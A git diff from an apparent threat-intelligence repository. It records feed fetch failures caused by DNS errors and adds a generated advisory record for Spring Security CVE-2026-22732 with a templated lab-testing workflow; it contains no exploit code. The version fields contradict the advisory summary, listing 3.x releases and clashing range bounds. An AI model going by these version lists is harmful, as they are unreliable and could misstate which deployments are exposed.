+      "summary": "prestashop::PrestaShop Security Page::network::HTTPSConnectionPool(host='build.prestashop-project.org', port=443): Max retries exceeded with url: /news/ (Caused by NameResolutionError(\"HTTPSConnection(host='build.prestashop-project.org', port=443): Failed to resolve 'build.prestashop-project.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "rails",
+      "display_name": "Ruby on Rails",
+      "source_name": "OSV Rails",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "rails::OSV Rails::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "react",
+      "display_name": "React",
+      "source_name": "OSV React",
+      "source_kind": "osv-batch",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "react::OSV React::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
     },
     {
       "system_id": "redmine",
+      "display_name": "Redmine",
       "source_name": "OSV Redmine",
       "source_kind": "osv-batch",
-      "elapsed_seconds": 9.523,
-      "status": "ok"
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "redmine::OSV Redmine::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "redmine",
+      "display_name": "Redmine",
+      "source_name": "Redmine Security Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://www.redmine.org/projects/redmine/wiki/Security_Advisories",
+      "summary": "redmine::Redmine Security Advisories::network::HTTPSConnectionPool(host='www.redmine.org', port=443): Max retries exceeded with url: /projects/redmine/wiki/Security_Advisories (Caused by NameResolutionError(\"HTTPSConnection(host='www.redmine.org', port=443): Failed to resolve 'www.redmine.org' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "saleor",
+      "display_name": "Saleor",
+      "source_name": "GitHub Saleor Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/saleor/saleor/security/advisories",
+      "summary": "saleor::GitHub Saleor Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /saleor/saleor/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "saleor",
+      "display_name": "Saleor",
+      "source_name": "OSV Saleor",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "saleor::OSV Saleor::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "shopware",
+      "display_name": "Shopware",
+      "source_name": "OSV Shopware",
+      "source_kind": "osv-batch",
+      "source_bucket": "ecosystem_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "",
+      "summary": "shopware::OSV Shopware::network::HTTPSConnectionPool(host='api.osv.dev', port=443): Max retries exceeded with url: /v1/querybatch (Caused by NameResolutionError(\"HTTPSConnection(host='api.osv.dev', port=443): Failed to resolve 'api.osv.dev' ([Errno 8] nodename nor servname provided, or not known)\"))"
+    },
+    {
+      "system_id": "shopware",
+      "display_name": "Shopware",
+      "source_name": "Shopware Security Advisories",
+      "source_kind": "html-links",
+      "source_bucket": "official_sources",
+      "category": "network",
+      "exception": "ConnectionError",
+      "message": "HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))",
+      "status_code": null,
+      "url": "https://github.com/shopware/shopware/security/advisories",
+      "summary": "shopware::Shopware Security Advisories::network::HTTPSConnectionPool(host='github.com', port=443): Max retries exceeded with url: /shopware/shopware/security/advisories (Caused by NameResolutionError(\"HTTPSConnection(host='github.com', port=443): Failed to resolve 'github.com' ([Errno 8] nodename nor servname provided, or not known)\"))"
     }
   ],
+  "slow_sources": [],
   "systems": [
     {
       "system_id": "adminer",
       "display_name": "Adminer",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "adobe-commerce",
       "display_name": "Adobe Commerce",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "angular",
       "display_name": "Angular",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "apache-httpd",
       "display_name": "Apache HTTP Server",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "apache-tomcat",
       "display_name": "Apache Tomcat",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "aspnet-core",
       "display_name": "ASP.NET Core",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "astro",
       "display_name": "Astro",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "caddy",
       "display_name": "Caddy",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "directus",
       "display_name": "Directus",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "discourse",
       "display_name": "Discourse",
       "active_source_total": 3,
-      "green_source_total": 3,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 3
     },
     {
       "system_id": "django",
       "display_name": "Django",
       "active_source_total": 3,
-      "green_source_total": 3,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 3
     },
     {
       "system_id": "drupal",
       "display_name": "Drupal",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "echo",
       "display_name": "Echo",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "esbuild",
       "display_name": "esbuild",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "express",
       "display_name": "Express",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "fastify",
       "display_name": "Fastify",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "flask",
       "display_name": "Flask",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "ghost",
       "display_name": "Ghost",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "gin",
       "display_name": "Gin",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "gitea",
       "display_name": "Gitea",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "gitlab-ce",
       "display_name": "GitLab CE",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "grafana",
       "display_name": "Grafana",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "hapi",
       "display_name": "Hapi",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "haproxy",
       "display_name": "HAProxy",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "jenkins",
       "display_name": "Jenkins",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "joomla",
       "display_name": "Joomla",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "kibana",
       "display_name": "Kibana",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "koa",
       "display_name": "Koa",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "laravel",
       "display_name": "Laravel",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "magento-open-source",
       "display_name": "Magento Open Source",
       "active_source_total": 3,
-      "green_source_total": 3,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 3
     },
     {
       "system_id": "mattermost",
       "display_name": "Mattermost",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "mediawiki",
       "display_name": "MediaWiki",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "medusa",
       "display_name": "Medusa",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "moodle",
       "display_name": "Moodle",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "nestjs",
       "display_name": "NestJS",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "nextjs",
       "display_name": "Next.js",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "nginx",
       "display_name": "Nginx",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "nodejs",
       "display_name": "Node.js",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "nuxt",
       "display_name": "Nuxt",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "opencart",
       "display_name": "OpenCart",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "openmage",
       "display_name": "OpenMage / Mage-OS",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "phpmyadmin",
       "display_name": "phpMyAdmin",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "prestashop",
       "display_name": "PrestaShop",
       "active_source_total": 4,
-      "green_source_total": 4,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 4
     },
     {
       "system_id": "rails",
       "display_name": "Ruby on Rails",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "react",
       "display_name": "React",
       "active_source_total": 1,
-      "green_source_total": 1,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 1
     },
     {
       "system_id": "redmine",
       "display_name": "Redmine",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "saleor",
       "display_name": "Saleor",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "shopware",
       "display_name": "Shopware",
       "active_source_total": 2,
-      "green_source_total": 2,
-      "failure_count": 0
+      "green_source_total": 0,
+      "failure_count": 2
     },
     {
       "system_id": "spring-boot",
diff --git a/08-threat-intel/registry/advisories/spring-security--CVE-2026-22732.json b/08-threat-intel/registry/advisories/spring-security--CVE-2026-22732.json
new file mode 100644
index 00000000..ee2499ff
--- /dev/null
+++ b/08-threat-intel/registry/advisories/spring-security--CVE-2026-22732.json
@@ -0,0 +1,437 @@
+{
+  "canonical_id": "spring-security--CVE-2026-22732",
+  "system_id": "spring-security",
+  "display_name": "Spring Security",
+  "category": "frameworks",
+  "advisory_mode": "core",
+  "title": "Spring Security HTTP Headers Are not Written Under Some Conditions",
+  "summary": "When applications specify HTTP response headers for servlet applications using Spring Security, there is the possibility that the HTTP Headers will not be written.\u00a0\nThis issue affects Spring Security: from 5.7.0 through 5.7.21, from 5.8.0 through 5.8.23, from 6.3.0 through 6.3.14, from 6.4.0 through 6.4.14, from 6.5.0 through 6.5.8, from 7.0.0 through 7.0.3.",
+  "published_at": "2026-03-20T00:31:28Z",
+  "updated_at": "2026-03-20T20:46:26.164998Z",
+  "severity": "low",
+  "cvss_score": 3.1,
+  "exploit_status": "unknown",
+  "source_confidence": "ecosystem-authority",
+  "official_source_url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22732",
+  "secondary_source_urls": [
+    "https://github.com/spring-projects/spring-security",
+    "https://spring.io/security/cve-2026-22732"
+  ],
+  "aliases": [
+    "CVE-2026-22732",
+    "GHSA-mf92-479x-3373"
+  ],
+  "cve_ids": [
+    "CVE-2026-22732"
+  ],
+  "ghsa_ids": [
+    "GHSA-mf92-479x-3373"
+  ],
+  "osv_ids": [
+    "GHSA-mf92-479x-3373"
+  ],
+  "affected_versions": [
+    "3.0.0.RELEASE",
+    "3.0.1.RELEASE",
+    "3.0.2.RELEASE",
+    "3.0.3.RELEASE",
+    "3.0.4.RELEASE",
+    "3.0.5.RELEASE",
+    "3.0.6.RELEASE",
+    "3.0.7.RELEASE",
+    "3.0.8.RELEASE",
+    "3.1.0.RELEASE",
+    "3.1.1.RELEASE",
+    "3.1.2.RELEASE",
+    "3.1.3.RELEASE",
+    "3.1.4.RELEASE",
+    "3.1.5.RELEASE",
+    "3.1.6.RELEASE",
+    "3.1.7.RELEASE",
+    "3.2.0.RELEASE",
+    "3.2.1.RELEASE",
+    "3.2.10.RELEASE",
+    "5.8.0",
+    "5.8.1",
+    "5.8.10",
+    "5.8.11",
+    "5.8.12",
+    "5.8.13",
+    "5.8.14",
+    "5.8.15",
+    "5.8.16",
+    "5.8.2",
+    "5.8.3",
+    "5.8.4",
+    "5.8.5",
+    "5.8.6",
+    "5.8.7",
+    "5.8.8",
+    "5.8.9",
+    "6.0.0",
+    "6.0.1",
+    "6.0.2",
+    "6.0.3",
+    "6.0.4",
+    "6.0.5",
+    "6.0.6",
+    "6.0.7",
+    "6.0.8",
+    "6.1.0",
+    "6.1.1",
+    "6.1.2",
+    "6.1.3",
+    "6.1.4",
+    "6.1.5",
+    "6.1.6",
+    "6.1.7",
+    "6.1.8",
+    "6.1.9",
+    "6.2.0",
+    "6.4.0",
+    "6.4.1",
+    "6.4.10",
+    "6.4.11",
+    "6.4.12",
+    "6.4.13",
+    "6.4.2",
+    "6.4.3",
+    "6.4.4",
+    "6.4.5",
+    "6.4.6",
+    "6.4.7",
+    "6.4.8",
+    "6.4.9",
+    "6.5.0",
+    "6.5.1",
+    "6.5.2",
+    "6.5.3",
+    "6.5.4",
+    "6.5.5",
+    "6.5.6",
+    "6.5.7",
+    "6.5.8",
+    "7.0.0",
+    "7.0.1",
+    "7.0.2",
+    "7.0.3",
+    "introduced=0, last_affected=5.7.14",
+    "introduced=5.8.0, last_affected=5.8.16",
+    "introduced=6.0.0, last_affected=6.3.10",
+    "introduced=6.4.0, last_affected=6.4.13",
+    "introduced=6.5.0, fixed<6.5.9",
+    "introduced=7.0.0, fixed<7.0.4"
+  ],
+  "fixed_versions": [
+    "6.5.9",
+    "7.0.4"
+  ],
+  "package_name": "org.springframework.security:spring-security-web",
+  "render_markdown": true,
+  "case_path": "07-framework-security/frameworks/spring-security/cases/spring-security-cve-2026-22732.md",
+  "secure_code_topics": [
+    "authz-server-side-recheck",
+    "token-cookie-storage",
+    "proxy-trust-boundary"
+  ],
+  "status": "generated",
+  "triage_reasons": [],
+  "entity_refs": [
+    {
+      "entity_id": "spring-security",
+      "entity_type": "system",
+      "relation": "root-system",
+      "root_system_id": "spring-security",
+      "official": true
+    },
+    {
+      "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+      "entity_type": "project",
+      "relation": "affected-component",
+      "root_system_id": "spring-security",
+      "official": false
+    }
+  ],
+  "affected_components": [
+    {
+      "name": "org.springframework.security:spring-security-web",
+      "entity_id": "spring-security--project--org-springframework-security-spring-security-web",
+      "scope": "package",
+      "package_name": "org.springframework.security:spring-security-web",
+      "official": false
+    }
+  ],
+  "affected_version_ranges": [
+    "3.0.0.RELEASE",
+    "3.0.1.RELEASE",
+    "3.0.2.RELEASE",
+    "3.0.3.RELEASE",
+    "3.0.4.RELEASE",
+    "3.0.5.RELEASE",
+    "3.0.6.RELEASE",
+    "3.0.7.RELEASE",
+    "3.0.8.RELEASE",
+    "3.1.0.RELEASE",
+    "3.1.1.RELEASE",
+    "3.1.2.RELEASE",
+    "3.1.3.RELEASE",
+    "3.1.4.RELEASE",
+    "3.1.5.RELEASE",
+    "3.1.6.RELEASE",
+    "3.1.7.RELEASE",
+    "3.2.0.RELEASE",
+    "3.2.1.RELEASE",
+    "3.2.10.RELEASE",
+    "5.8.0",
+    "5.8.1",
+    "5.8.10",
+    "5.8.11",
+    "5.8.12",
+    "5.8.13",
+    "5.8.14",
+    "5.8.15",
+    "5.8.16",
+    "5.8.2",
+    "5.8.3",
+    "5.8.4",
+    "5.8.5",
+    "5.8.6",
+    "5.8.7",
+    "5.8.8",
+    "5.8.9",
+    "6.0.0",
+    "6.0.1",
+    "6.0.2",
+    "6.0.3",
+    "6.0.4",
+    "6.0.5",
+    "6.0.6",
+    "6.0.7",
+    "6.0.8",
+    "6.1.0",
+    "6.1.1",
+    "6.1.2",
+    "6.1.3",
+    "6.1.4",
+    "6.1.5",
+    "6.1.6",
+    "6.1.7",
+    "6.1.8",
+    "6.1.9",
+    "6.2.0",
+    "6.4.0",
+    "6.4.1",
+    "6.4.10",
+    "6.4.11",
+    "6.4.12",
+    "6.4.13",
+    "6.4.2",
+    "6.4.3",
+    "6.4.4",
+    "6.4.5",
+    "6.4.6",
+    "6.4.7",
+    "6.4.8",
+    "6.4.9",
+    "6.5.0",
+    "6.5.1",
+    "6.5.2",
+    "6.5.3",
+    "6.5.4",
+    "6.5.5",
+    "6.5.6",
+    "6.5.7",
+    "6.5.8",
+    "7.0.0",
+    "7.0.1",
+    "7.0.2",
+    "7.0.3",
+    "introduced=0, last_affected=5.7.14",
+    "introduced=5.8.0, last_affected=5.8.16",
+    "introduced=6.0.0, last_affected=6.3.10",
+    "introduced=6.4.0, last_affected=6.4.13",
+    "introduced=6.5.0, fixed<6.5.9",
+    "introduced=7.0.0, fixed<7.0.4"
+  ],
+  "fixed_version_ranges": [
+    "6.5.9",
+    "7.0.4"
+  ],
+  "introduced_version": "introduced=7.0.0, fixed<7.0.4",
+  "patched_version": "6.5.9",
+  "version_evidence_sources": [
+    "https://nvd.nist.gov/vuln/detail/CVE-2026-22732",
+    "https://github.com/spring-projects/spring-security",
+    "https://spring.io/security/cve-2026-22732"
+  ],
+  "advisory_scope": "package",
+  "version_confidence": "high",
+  "version_gap_reason": "",
+  "version_resolution_needed": false,
+  "workflow": {
+    "workflow_id": "spring-security--CVE-2026-22732--workflow",
+    "vuln_family": "unknown",
+    "entry_surface": "package-surface",
+    "preconditions": [
+      "\u4ec5\u5728 lab-local\u3001lab-public \u6216\u660e\u786e\u6388\u6743\u76ee\u6807\u4e2d\u6267\u884c\u3002",
+      "\u786e\u8ba4\u76ee\u6807\u547d\u4e2d\u7248\u672c\u65ad\u8a00: 3.0.0.RELEASE, 3.0.1.RELEASE, 3.0.2.RELEASE",
+      "\u82e5\u5bf9\u8c61\u5c5e\u4e8e `package`\uff0c\u5148\u786e\u8ba4\u6269\u5c55/\u4ed3\u5e93/\u5305\u5df2\u542f\u7528\u5e76\u5904\u4e8e\u53d7\u5f71\u54cd\u7248\u672c\u3002"
+    ],
+    "required_role": "unknown",
+    "affected_version_assertion": [
+      "3.0.0.RELEASE",
+      "3.0.1.RELEASE",
+      "3.0.2.RELEASE",
+      "3.0.3.RELEASE",
+      "3.0.4.RELEASE",
+      "3.0.5.RELEASE",
+      "3.0.6.RELEASE",
+      "3.0.7.RELEASE",
+      "3.0.8.RELEASE",
+      "3.1.0.RELEASE",
+      "3.1.1.RELEASE",
+      "3.1.2.RELEASE",
+      "3.1.3.RELEASE",
+      "3.1.4.RELEASE",
+      "3.1.5.RELEASE",
+      "3.1.6.RELEASE",
+      "3.1.7.RELEASE",
+      "3.2.0.RELEASE",
+      "3.2.1.RELEASE",
+      "3.2.10.RELEASE",
+      "5.8.0",
+      "5.8.1",
+      "5.8.10",
+      "5.8.11",
+      "5.8.12",
+      "5.8.13",
+      "5.8.14",
+      "5.8.15",
+      "5.8.16",
+      "5.8.2",
+      "5.8.3",
+      "5.8.4",
+      "5.8.5",
+      "5.8.6",
+      "5.8.7",
+      "5.8.8",
+      "5.8.9",
+      "6.0.0",
+      "6.0.1",
+      "6.0.2",
+      "6.0.3",
+      "6.0.4",
+      "6.0.5",
+      "6.0.6",
+      "6.0.7",
+      "6.0.8",
+      "6.1.0",
+      "6.1.1",
+      "6.1.2",
+      "6.1.3",
+      "6.1.4",
+      "6.1.5",
+      "6.1.6",
+      "6.1.7",
+      "6.1.8",
+      "6.1.9",
+      "6.2.0",
+      "6.4.0",
+      "6.4.1",
+      "6.4.10",
+      "6.4.11",
+      "6.4.12",
+      "6.4.13",
+      "6.4.2",
+      "6.4.3",
+      "6.4.4",
+      "6.4.5",
+      "6.4.6",
+      "6.4.7",
+      "6.4.8",
+      "6.4.9",
+      "6.5.0",
+      "6.5.1",
+      "6.5.2",
+      "6.5.3",
+      "6.5.4",
+      "6.5.5",
+      "6.5.6",
+      "6.5.7",
+      "6.5.8",
+      "7.0.0",
+      "7.0.1",
+      "7.0.2",
+      "7.0.3",
+      "introduced=0, last_affected=5.7.14",
+      "introduced=5.8.0, last_affected=5.8.16",
+      "introduced=6.0.0, last_affected=6.3.10",
+      "introduced=6.4.0, last_affected=6.4.13",
+      "introduced=6.5.0, fixed<6.5.9",
+      "introduced=7.0.0, fixed<7.0.4"
+    ],
+    "trigger_vector": "\u5bf9 `unknown` \u5bb6\u65cf\u5165\u53e3\u6295\u9012\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\uff0c\u6bd4\u8f83\u4fee\u590d\u524d\u540e\u5dee\u5f02\u3002",
+    "request_or_ui_path": [
+      "/package"
+    ],
+    "input_shape": "\u63d0\u4ea4\u6700\u5c0f\u5316\u3001\u53ef\u5ba1\u8ba1\u3001\u53ef\u56de\u6eda\u7684\u53d7\u63a7\u8f93\u5165\u3002",
+    "expected_unsafe_behavior": "\u76ee\u6807\u8868\u73b0\u51fa\u8d85\u51fa\u8bbe\u8ba1\u8fb9\u754c\u7684\u884c\u4e3a\u3002",
+    "server_evidence_points": [
+      "\u5e94\u7528\u65e5\u5fd7\u4e2d\u7684\u547d\u4e2d\u8def\u5f84\u3001\u9274\u6743\u51b3\u7b56\u548c\u5f02\u5e38\u6808",
+      "\u53cd\u5411\u4ee3\u7406\u6216\u8fb9\u754c\u5c42\u65e5\u5fd7\u4e2d\u7684\u8bf7\u6c42\u5934\u3001\u6765\u6e90 IP \u4e0e\u8def\u7531\u51b3\u7b56"
+    ],
+    "browser_evidence_points": [
+      "\u57fa\u7ebf\u622a\u56fe\u4e0e\u653b\u51fb\u540e\u622a\u56fe\u7684 DOM/\u89c6\u89c9\u5dee\u5f02",
+      "console\u3001network \u4e0e response metadata \u4e2d\u7684\u5f02\u5e38\u4fe1\u53f7"
+    ],
+    "db_or_fs_evidence_points": [
+      "\u6570\u636e\u5e93\u4e2d\u65b0\u589e/\u8d8a\u6743\u8bfb\u53d6\u7684\u6d4b\u8bd5\u6570\u636e",
+      "\u6587\u4ef6\u7cfb\u7edf\u4e2d\u65b0\u589e\u4e0a\u4f20\u6837\u672c\u3001\u7f13\u5b58\u6761\u76ee\u6216\u8d8a\u6743\u8bfb\u53d6\u75d5\u8ff9"
+    ],
+    "detection_signals": [
+      "WAF / reverse proxy \u5f02\u5e38\u65e5\u5fd7\u3001\u8bbf\u95ee\u65e5\u5fd7\u548c\u544a\u8b66",
+      "\u5e94\u7528\u5ba1\u8ba1\u65e5\u5fd7\u4e2d\u7684\u6743\u9650\u9519\u8bef\u3001\u91cd\u5b9a\u5411\u5f02\u5e38\u3001\u6a21\u677f\u6e32\u67d3\u6216\u4e0a\u4f20\u843d\u76d8\u4e8b\u4ef6"
+    ],
+    "mitigation_summary": "\u4f18\u5148\u5347\u7ea7\u5230\u4fee\u590d\u7248\u672c\uff0c\u5e76\u540c\u65f6\u6536\u7d27\u8f93\u5165\u6821\u9a8c\u3001\u670d\u52a1\u7aef\u9274\u6743\u3001\u4ee3\u7406\u4fe1\u4efb\u8fb9\u754c\u3001\u6269\u5c55\u5b89\u88c5\u4fe1\u4efb\u548c\u5ba1\u8ba1\u65e5\u5fd7\u3002",
+    "patch_validation_steps": [
+      "\u786e\u8ba4\u76ee\u6807\u7248\u672c\u4ece `3.0.0.RELEASE, 3.0.1.RELEASE, 3.0.2.RELEASE` \u5347\u7ea7\u6216\u56de\u79fb\u5230 `6.5.9`\u3002",
